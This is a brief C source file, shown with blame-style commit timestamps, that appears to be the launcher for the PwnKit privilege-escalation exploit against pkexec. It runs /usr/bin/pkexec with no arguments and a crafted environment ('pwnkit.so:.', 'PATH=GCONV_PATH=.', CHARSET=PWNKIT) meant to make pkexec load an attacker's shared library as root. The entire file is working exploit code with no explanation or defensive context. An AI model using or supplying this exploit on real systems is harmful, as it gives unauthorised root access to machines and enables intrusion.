2022-01-26 03:03:31 +03:00
|
|
|
#include <unistd.h>
|
|
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
|
|
{
|
|
|
|
char * const args[] = {
|
|
|
|
NULL
|
|
|
|
};
|
|
|
|
char * const environ[] = {
|
|
|
|
"pwnkit.so:.",
|
|
|
|
"PATH=GCONV_PATH=.",
|
|
|
|
"SHELL=/lol/i/do/not/exists",
|
|
|
|
"CHARSET=PWNKIT",
|
2022-01-28 02:45:32 +03:00
|
|
|
"GIO_USE_VFS=",
|
2022-01-26 03:03:31 +03:00
|
|
|
NULL
|
|
|
|
};
|
|
|
|
return execve("/usr/bin/pkexec", args, environ);
|
|
|
|
}
|